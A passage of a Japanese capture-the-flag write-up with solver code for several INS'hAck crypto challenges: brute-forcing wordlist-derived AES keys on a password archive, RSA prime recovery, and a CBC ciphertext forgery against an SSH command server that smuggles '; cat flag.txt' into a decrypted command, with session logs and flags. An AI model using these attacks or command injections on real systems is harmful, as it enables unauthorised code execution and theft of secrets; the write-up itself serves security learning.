    mark = chr(16 - len(s) % 16)
    while len(s) % 16 != 15:
        s += chr(random.randint(0, 255))

    return s + mark


def unpad(s):
    return s[:-ord(s[-1])]


def get_random_passphrase():
    sys.stdout.write('Getting random data from atmospheric noise and mouse movements')
    sys.stdout.flush()
    for i in range(10):
        sys.stdout.write('.')
        sys.stdout.flush()
        time.sleep(random.randint(1, 20) / 10.0)

    print ''
    with open('wordlist.txt', 'rb') as fi:
        passwords = fi.read().strip().split('\n')
    return (random.choice(passwords), random.choice(passwords))


def get_pearson_hash(passphrase):
    key, iv = ('', '')
    for i in range(32):
        h = (i + ord(passphrase[0])) % 256
        for c in passphrase[1:]:
            h = PEARSON_TABLE[h ^ ord(c)]

        if i < 16:
            key += chr(h)
        else:
            iv += chr(h)

    return (key, iv)


def encrypt_stream(data, passphrase):
    key, iv = get_pearson_hash(passphrase)
    aes = AES.new(key, AES.MODE_CBC, iv)
    data = pad(data)
    return aes.encrypt(data)


def decrypt_stream(data, passphrase):
    key, iv = get_pearson_hash(passphrase)
    aes = AES.new(key, AES.MODE_CBC, iv)
    data = unpad(aes.decrypt(data))
    return data


def encrypt_archive(archive_filename, passphraseA, passphraseB):
    with open(archive_filename, 'rb') as db_fd:
        with open(archive_filename.replace('.db', '.dla'), 'wb') as dla_fd:
            enc1 = encrypt_stream(db_fd.read(), passphraseA)
            enc2 = encrypt_stream(enc1, passphraseB)
            dla_fd.write(enc2)
    os.unlink(archive_filename)


def decrypt_archive(archive_filename, passphraseA, passphraseB):
    with open(archive_filename, 'rb') as dla_fd:
        with open(archive_filename.replace('.dla', '.db'), 'wb') as db_fd:
            dec1 = decrypt_stream(dla_fd.read(), passphraseB)
            dec2 = decrypt_stream(dec1, passphraseA)
            db_fd.write(dec2)
    os.unlink(archive_filename)


def createArchive():
    archive_name = raw_input('Please enter your archive name: ')
    passphraseA, passphraseB = get_random_passphrase()
    print 'This is your passphrase :', passphraseA, passphraseB
    print 'Please remember it or you will lose all your passwords.'
    archive_filename = archive_name + '.db'
    with open(archive_filename, 'wb') as db_fd:
        db_fd.write(zlib.decompress('x\x9c\x0b\x0e\xf4\xc9,IUH\xcb/\xcaM,Q0f`a`ddpPP````\x82b\x18`\x04b\x164>!\xc0\xc4\xa0\xfb\x8c\x9b\x17\xa4\x98y.\x03\x10\x8d\x82Q0\n\x88\x05\x89\x8c\xec\xe2\xf2\xf2\x8c\x8d\x82%\x89I9\xa9\x01\x89\xc5\xc5\xe5\xf9E)\xc5p\x06\x93s\x90\xabc\x88\xabB\x88\xa3\x93\x8f\xab\x02\\X\xa3<5\xa9\x18\x94\xabC\\#Bt\x14J\x8bS\x8b\xf2\x12sa\xdc\x02\xa820W\x13\x927\xcf0\x00\xd1(\x18\x05\xa3`\x08\x03#F\x16mYkh\xe6\x8fO\xadH\xcc-\xc8I\x85\xe5~O\xbf`\xc7\xea\x90\xcc\xe2\xf8\xa4\xd0\x92\xf8\xc4\xf8`\xe7"\x93\x92\xe4\x8cZ\x00\xa8&=\x8f'))
    encrypt_archive(archive_filename, passphraseA, passphraseB)
    print 'Archive created successfully.'


def updateArchive():
    archive_name = raw_input('Please enter your archive name: ')
    passphrase = raw_input('Please enter your passphrase: ')
    passphraseA, passphraseB = passphrase.split()
    website = raw_input('Website: ')
    username = raw_input('Username: ')
    password = raw_input('Password: ')
    dla_filename = archive_name + '.dla'
    db_filename = archive_name + '.db'
    decrypt_archive(dla_filename, passphraseA, passphraseB)
    conn = sqlite3.connect(db_filename)
    cur = conn.cursor()
    cur.execute('INSERT INTO Passwords VALUES(?,?,?)', (website, username, password))
    conn.commit()
    conn.close()
    encrypt_archive(db_filename, passphraseA, passphraseB)
    print 'Update done.'


def accessArchive():
    archive_name = raw_input('Please enter your archive name: ')
    passphrase = raw_input('Please enter your passphrase: ')
    passphraseA, passphraseB = passphrase.split()
    website = raw_input('Website: ')
    dla_filename = archive_name + '.dla'
    db_filename = archive_name + '.db'
    decrypt_archive(dla_filename, passphraseA, passphraseB)
    conn = sqlite3.connect(db_filename)
    cur = conn.cursor()
    cur.execute('SELECT Username, Password FROM Passwords WHERE Website=?', (website,))
    results = cur.fetchall()
    conn.close()
    encrypt_archive(db_filename, passphraseA, passphraseB)
    if len(results) == 0:
        print 'No results.'
    else:
        for result in results:
            print result[0], ':', result[1]


if __name__ == '__main__':
    print HEADER
    print '1. Create a new password archive'
    print '2. Add a password to an archive'
    print '3. Access a password from an existing archive'
    try:
        res = raw_input()
        if res == '1':
            createArchive()
        elif res == '2':
            updateArchive()
        elif res == '3':
            accessArchive()
        else:
            print 'Wrong choice'
    except:
        print 'Error.'

dbを暗号化してdlaを作成したあと、dbを削除している。dbを削除する処理をコメントアウトして実行してみる。

$ python dashlame.py
      /.m.\
     /.mnnm.\                                              ___
    |.mmnvvnm.\.                                     .,,,/`mmm.\
    |.mmnnvvnm.\:;,.                           ..,,;;;/.mmnnnmm.\
    \ mmnnnvvnm.\::;;,                    .,;;;;;;;;/.mmmnnvvnnm.|
     \`mmnnnvvnm.\::;::.sSSs      sSSs ,;;;;;;;;;;/.mmmnnvvvnnmm'/
       \`mmnnnvnm.\:::::SSSS,,,,,,SSSS:::::::;;;/.mmmnnvvvnnmmm'/
          \`mnvvnm.\::%%%;;;;;;;;;;;%%%%:::::;/.mnnvvvvnnmmmmm'/
             \`mmmm.%%;;;;;%%%%%%%%%%%%%%%::/.mnnvvvnnmmmmm'/ '
                \`%%;;;;%%%%s&&&&&&&&&s%%%%mmmnnnmmmmmm'/ '
     |           `%;;;%%%%s&&.%%%%%%.%&&%mmmmmmmmmm'/ '
\    |    /       %;;%%%%&&.%;`    '%.&&%%%////// '
  \  |  /         %%%%%%s&.%%   x   %.&&%%%%%//%
    \  .:::::.  ,;%%%%s&&&&.%;     ;.&&%%%%%%%%/,
-!!!- ::#:::::%%%%%%s&&&&&&&&&&&&&&&&&%%%%%%%%%%%
    / :##:::::&&&&&&&&&&&&&&&&&&&&&%%%%%%%%%%%%%%,
  /  | `:#:::&&&&&&&&&&&&&&&&&&&&&&&&%%%%%%%%%%%%%
     |       `&&&&&&&&&,&&&&&&&&&&&&SS%%%%%%%%%%%%%
               `~~~~~'~~        SSSSSSS%%%%%%%%%%%%%
                               SSSSSSSS%%%%%%%%%%%%%%
                              SSSSSSSSSS%%%%%%%%%%%%%.
                            SSSSSSSSSSSS%%%%%%%%%%%%%%
                          SSSSSSSSSSSSS%%%%%%%%%%%%%%%.
                        SSSSSSSSSSSSSSS%%%%%%%%%%%%%%%%
                      SSSSSSSSSSSSSSSS%%%%%%%%%%%%%%%%%.
                    SSSSSSSSSSSSSSSSS%%%%%%%%%%%%%%%%%%%
                  SSSSSSSSSSSSSSSSSS%%%%%%%%%%%%%%%%%%%%.

                          WELCOME TO DASHLAME

1. Create a new password archive
2. Add a password to an archive
3. Access a password from an existing archive
1
Please enter your archive name: nora
Getting random data from atmospheric noise and mouse movements..........
This is your passphrase : foundationalist oudated
Please remember it or you will lose all your passwords.
Archive created successfully.

作成されたdbをDB Browserで開き、Passwordsテーブルを見ると、フラグが格納されていた。
f:id:satou-y:20190509072056p:plain

INSA{Tis_bUt_a_SCr4tch}

Dashlame - Part 2 (Crypto 400)

暗号化の処理概要は以下の通り。

パスフレーズ2つをwordlist.txtから選択
・DBファイルを生成
・パスフレーズAでAES暗号化、さらにパスフレーズBでAES暗号化

ブルートフォースパスフレーズを探り、復号してSQLiteファイルのヘッダ部になるよう復号する。

from Crypto.Cipher import AES
import random

PEARSON_TABLE = [199,
 229,
 151,
 178,
 53,
 6,
 131,
 42,
 248,
 110,
 39,
 28,
 51,
 216,
 32,
 14,
 77,
 34,
 166,
 213,
 157,
 150,
 115,
 197,
 228,
 221,
 254,
 172,
 84,
 27,
 36,
 156,
 69,
 96,
 12,
 220,
 225,
 137,
 246,
 141,
 44,
 208,
 191,
 109,
 163,
 21,
 173,
 250,
 98,
 227,
 203,
 162,
 188,
 3,
 105,
 171,
 215,
 15,
 207,
 218,
 234,
 56,
 136,
 235,
 97,
 79,
 189,
 102,
 134,
 11,
 224,
 117,
 177,
 222,
 100,
 129,
 78,
 18,
 130,
 187,
 9,
 184,
 99,
 108,
 202,
 13,
 238,
 17,
 94,
 70,
 180,
 144,
 185,
 168,
 123,
 71,
 176,
 91,
 4,
 153,
 103,
 242,
 80,
 127,
 198,
 82,
 169,
 148,
 48,
 120,
 59,
 55,
 230,
 209,
 50,
 73,
 31,
 49,
 142,
 149,
 167,
 249,
 116,
 1,
 7,
 86,
 143,
 101,
 29,
 52,
 114,
 154,
 160,
 128,
 19,
 170,
 46,
 214,
 38,
 67,
 186,
 252,
 181,
 145,
 212,
 183,
 22,
 231,
 107,
 43,
 47,
 122,
 251,
 217,
 5,
 62,
 88,
 244,
 200,
 93,
 240,
 219,
 124,
 58,
 161,
 89,
 211,
 158,
 247,
 60,
 236,
 65,
 106,
 113,
 66,
 81,
 165,
 194,
 223,
 40,
 233,
 126,
 139,
 72,
 132,
 61,
 135,
 57,
 87,
 182,
 164,
 35,
 159,
 118,
 8,
 83,
 210,
 243,
 104,
 76,
 75,
 119,
 90,
 138,
 20,
 206,
 95,
 16,
 74,
 33,
 245,
 237,
 111,
 64,
 253,
 125,
 23,
 232,
 193,
 37,
 175,
 92,
 30,
 241,
 255,
 133,
 0,
 140,
 2,
 155,
 85,
 10,
 146,
 179,
 25,
 26,
 226,
 201,
 195,
 121,
 190,
 63,
 68,
 152,
 45,
 147,
 41,
 204,
 192,
 205,
 196,
 54,
 174,
 239,
 112,
 24]

def pad(s):
    mark = chr(16 - len(s) % 16)
    while len(s) % 16 != 15:
        s += chr(random.randint(0, 255))

    return s + mark

def unpad(s):
    return s[:-ord(s[-1])]

def get_pearson_hash(passphrase):
    key, iv = ('', '')
    for i in range(32):
        h = (i + ord(passphrase[0])) % 256
        for c in passphrase[1:]:
            h = PEARSON_TABLE[h ^ ord(c)]

        if i < 16:
            key += chr(h)
        else:
            iv += chr(h)

    return (key, iv)

def encrypt_stream(data, passphrase):
    key, iv = get_pearson_hash(passphrase)
    aes = AES.new(key, AES.MODE_CBC, iv)
    data = pad(data)
    return aes.encrypt(data)


def decrypt_stream(data, passphrase):
    key, iv = get_pearson_hash(passphrase)
    aes = AES.new(key, AES.MODE_CBC, iv)
    data = unpad(aes.decrypt(data))
    return data

with open('admin.dla', 'rb') as f:
    dla = f.read()

with open('wordlist.txt', 'r') as f:
    wl = f.read()

words = wl.split('\n')[:-1]

SQLITE_HEADER = 'SQLite format 3\x00'

enc_list = {}
for word in words:
    enc = encrypt_stream(SQLITE_HEADER, word)
    enc_list[enc[:16]] = word

for word in words:
    dec1 = decrypt_stream(dla, word)
    if dec1[:16] in enc_list:
        word2 = enc_list[dec1[:16]]
        print word2, word
        dec2 = decrypt_stream(dec1, word2)
        break

with open('admin.db', 'wb') as f:
    f.write(dec2)

復号を試した結果、以下のパスフレーズで暗号化したことがわかる。

spanish inquisition

復号したdbをDB Browserで開き、Passwordsテーブルを見ると、フラグが格納されていた。
f:id:satou-y:20190509072331p:plain

INSA{D0_you_f1nD_it_Risible_wh3N_I_s4y_th3_name}

Jean-Sébastien Bash (Crypto 500)

コマンドをAES-CBC暗号化したものを指定すると、そのコマンドが実行される。例としてls -l の暗号化データのみがわかっている。flag.txtがあるので、その内容を見ることができればよい。いろいろ試した結果、CBC Oracle Padding Attackで2ブロック目でcat flag.txtに復号できるような暗号データを割り出すことができればフラグが得られそう。
本来はプログラムでやりたいところだが、SSHでこのttyに接続する方法がわからず、手動でCBC Oracle Padding Attackを実行する。

$ ssh -i ~/.ssh/id_inshack -p 2227 user@jean-sebastien-bash.ctf.insecurity-insa.fr
The authenticity of host '[jean-sebastien-bash.ctf.insecurity-insa.fr]:2227 ([51.83.110.181]:2227)' can't be established.
ECDSA key fingerprint is SHA256:Hp/VF/ZZ75+zXkpM05kpIoN/0YXe5Fqlt+pTr3O/kVE.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[jean-sebastien-bash.ctf.insecurity-insa.fr]:2227,[51.83.110.181]:2227' (ECDSA) to the list of known hosts.
 ___           _   _            _      ____   ___  _  ___
|_ _|_ __  ___| | | | __ _  ___| | __ |___ \ / _ \/ |/ _ \
| || '_ \/ __| |_| |/ _` |/ __| |/ /   __) | | | | | (_) |
| || | | \__ \  _  | (_| | (__|   <   / __/| |_| | |\__, |
|___|_| |_|___/_| |_|\__,_|\___|_|\_\ |_____|\___/|_|  /_/

===========================================================

      You are accessing a sandbox challenge over SSH
        This sandbox will be killed soon enough.
       Please wait while we launch your sandbox...

===========================================================
Welcome on my server. /help for help  

>/help
This is a tool so that only me can execute commands on my server
(without all the GNU/Linux mess around users and rights).

- /help for help
- /exit to quit
- /cmd <encrypted> to execute a command

Notes (TODO REMOVE THAT) ---------------------------
Ex: 
/cmd AES(key, CBC, iv).encrypt(my_command)
/cmd 7bcfab368dc137d4628dcf45d41f8885


>/cmd 7bcfab368dc137d4628dcf45d41f8885
Running b'ls -l'
total 8
-rw-r--r-- 1 root root   21 Apr 25 21:18 flag.txt
-rwxr-xr-x 1 root root 2066 Apr 25 21:50 server.py

/cmd 7bcfab368dc137d4628dcf45d41f88007bcfab368dc137d4628dcf45d41f8885
What do you mean?!

/cmd 7bcfab368dc137d4628dcf45d41f88017bcfab368dc137d4628dcf45d41f8885
What do you mean?!

/cmd 7bcfab368dc137d4628dcf45d41f88027bcfab368dc137d4628dcf45d41f8885
What do you mean?!

/cmd 7bcfab368dc137d4628dcf45d41f88037bcfab368dc137d4628dcf45d41f8885
What do you mean?!

/cmd 7bcfab368dc137d4628dcf45d41f88047bcfab368dc137d4628dcf45d41f8885
What do you mean?!

/cmd 7bcfab368dc137d4628dcf45d41f88057bcfab368dc137d4628dcf45d41f8885
What do you mean?!

/cmd 7bcfab368dc137d4628dcf45d41f88067bcfab368dc137d4628dcf45d41f8885
What do you mean?!

/cmd 7bcfab368dc137d4628dcf45d41f88077bcfab368dc137d4628dcf45d41f8885
Running b'\x1c\x01\xae\xa8\x95\x1b\x02\xa4\x1b{\xe8\x152,\xcb\xf96\xe6\xba]\xda\xe7\x0c\x86\x02\xd6\xa1-\xe3r\xcc'
sh: 1: ����{�2,��6��]��
                             �֡-�r�: not found

これでXORする前の7bcfab368dc137d4628dcf45d41f8885の復号したデータがわかった。あとは前がどんな文字列であっても2ブロック目が ; cat flag.txtに復号できる暗号データを計算してやる。

def str_xor(s1, s2):
    return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2))

def pad(s):
    p = 16 - len(s) % 16
    return s + chr(p) * p

ct1 = '7bcfab368dc137d4628dcf45d41f88077bcfab368dc137d4628dcf45d41f8885'.decode('hex')
pt1 = '\x1c\x01\xae\xa8\x95\x1b\x02\xa4\x1b{\xe8\x152,\xcb\xf96\xe6\xba]\xda\xe7\x0c\x86\x02\xd6\xa1-\xe3r\xcc'

ct1_1 = ct1[:16]
pt1_2 = pad(pt1[16:])

pt2_2 = pad(' ; cat flag.txt')
ct2_1 = str_xor(str_xor(ct1_1, pt1_2), pt2_2)
ct2_2 = ct1[16:]

ct2 = (ct2_1 + ct2_2).encode('hex')
print ct2

この結果、暗号データは以下のようになる。

6d12310836521b340c3a0946431530077bcfab368dc137d4628dcf45d41f8885
>/cmd 6d12310836521b340c3a0946431530077bcfab368dc137d4628dcf45d41f8885
Running b'.\x15\xabh\xa1\x18\xd2\x88\xbeF\x7f\xdb\x12\xf9\xc4\xd7 ; cat flag.txt'
sh: 1: .�h�҈�F����: not found
INSA{or4cle_P4dd1ng}
INSA{or4cle_P4dd1ng}

Yet Another RSA Challenge - Part 1 (Crypto 500)

RSA暗号で、N、e、pの16進表記で'9F'を'FC'に置換したものと、cがわかっている。pの'FC'の一部を'9F'に置換することをブルートフォースで試して、Nを割り切れるものを探す。pがわかれば、qもわかり復号することができる。

from Crypto.Util.number import *
import itertools

def gen_p(str_p, t):
    p = str_p
    for e in t:
        p = p[:e] + '9F' + p[e + 2:]
    return eval(p)

with open('output.txt', 'r') as f:
    N = int(f.readline().rstrip())
    str_p_rep = f.readline().rstrip()
    c = int(f.readline().rstrip())

e = 65537

idxes = []
index = 0
while True:
    index = str_p_rep.find('FC', index)
    if index < 0:
        break
    idxes.append(index)
    index += 1

found = False
for i in range(1, len(idxes) + 1):
    for j in list(itertools.combinations(idxes, i)):
        p = gen_p(str_p_rep, j)
        if N % p == 0:
            found = True
            break
    if found:
        break

assert N % p == 0

q = N / p

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, N)

flag = long_to_bytes(m)
print flag
INSA{I_w1ll_us3_OTp_n3xT_T1M3}

Yet Another RSA Challenge - Part 2 (Programming 222)

Part1と同様の問題。ただ、pが複数の文字のセットを置換しているので、難易度が上がっている。解き方は同様だが、プログラムとしては複雑化しているので、さまざまな箇所で注意が必要。

from Crypto.Util.number import *
import itertools

def get_idx(str_p, to_str):
    idxes = []
    index = 0
    while True:
        index = str_p.find(to_str, index)
        if index < 0:
            break
        idxes.append(index)
        index += 1
    return idxes

def gen_p(str_p, t, from_str):
    p = str_p
    for e in t:
        p = p[:e] + from_str + p[e + 2:]
    return p

with open('output.txt', 'r') as f:
    N = int(f.readline().rstrip())
    str_p_rep = f.readline().rstrip()
    c = int(f.readline().rstrip())

e = 65537

found = False
str_p = str_p_rep

idx0 = get_idx(str_p, '3E')
for i0 in range(1, len(idx0) + 1):
    for c0 in list(itertools.combinations(idx0, i0)):
        str_p0 = gen_p(str_p, c0, '59')

        idx1 = get_idx(str_p0, 'E0')
        for i1 in range(0, len(idx1) + 1):
            for c1 in list(itertools.combinations(idx1, i1)):
                str_p1 = gen_p(str_p0, c1, '9E')

                idx2 = get_idx(str_p1, '89')
                for i2 in range(0, len(idx2) + 1):
                    for c2 in list(itertools.combinations(idx2, i2)):
                        str_p2 = gen_p(str_p1, c2, '6B')

                        idx3 = get_idx(str_p2, '38')
                        for i3 in range(0, len(idx3) + 1):
                            for c3 in list(itertools.combinations(idx3, i3)):
                                str_p3 = gen_p(str_p2, c3, 'E4')

                                idx4 = get_idx(str_p3, '95')
                                for i4 in range(0, len(idx4) + 1):
                                    for c4 in list(itertools.combinations(idx4, i4)):
                                        str_p4 = gen_p(str_p3, c4, '09')

                                        idx5 = get_idx(str_p4, 'FF')
                                        for i5 in range(0, len(idx5) + 1):
                                            for c5 in list(itertools.combinations(idx5, i5)):
                                                str_p5 = gen_p(str_p4, c5, '5E')

                                                idx6 = get_idx(str_p5, 'D4')
                                                for i6 in range(0, len(idx6) + 1):
                                                    for c6 in list(itertools.combinations(idx6, i6)):
                                                        str_p6 = gen_p(str_p5, c6, '33')

                                                        idx7 = get_idx(str_p6, '8D')
                                                        for i7 in range(0, len(idx7) + 1):
                                                            for c7 in list(itertools.combinations(idx7, i7)):
                                                                str_p7 = gen_p(str_p6, c7, '12')

                                                                p = eval(str_p7)
                                                                if N % p == 0:
                                                                    found = True
                                                                    break
                                                            if found:
                                                                break

                                                        if found:
                                                            break
                                                    if found:
                                                        break

                                                if found:
                                                    break
                                            if found:
                                                break

                                        if found:
                                            break
                                    if found:
                                        break

                                if found:
                                    break
                            if found:
                                break

                        if found:
                            break
                    if found:
                        break

                if found:
                    break
            if found:
                break

        if found:
            break
    if found:
        break

assert N % p == 0

q = N / p

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, N)

flag = long_to_bytes(m)
print flag
INSA{Uh_never_give_4w4y_your_Pr1mes_I_m34n_duhhh}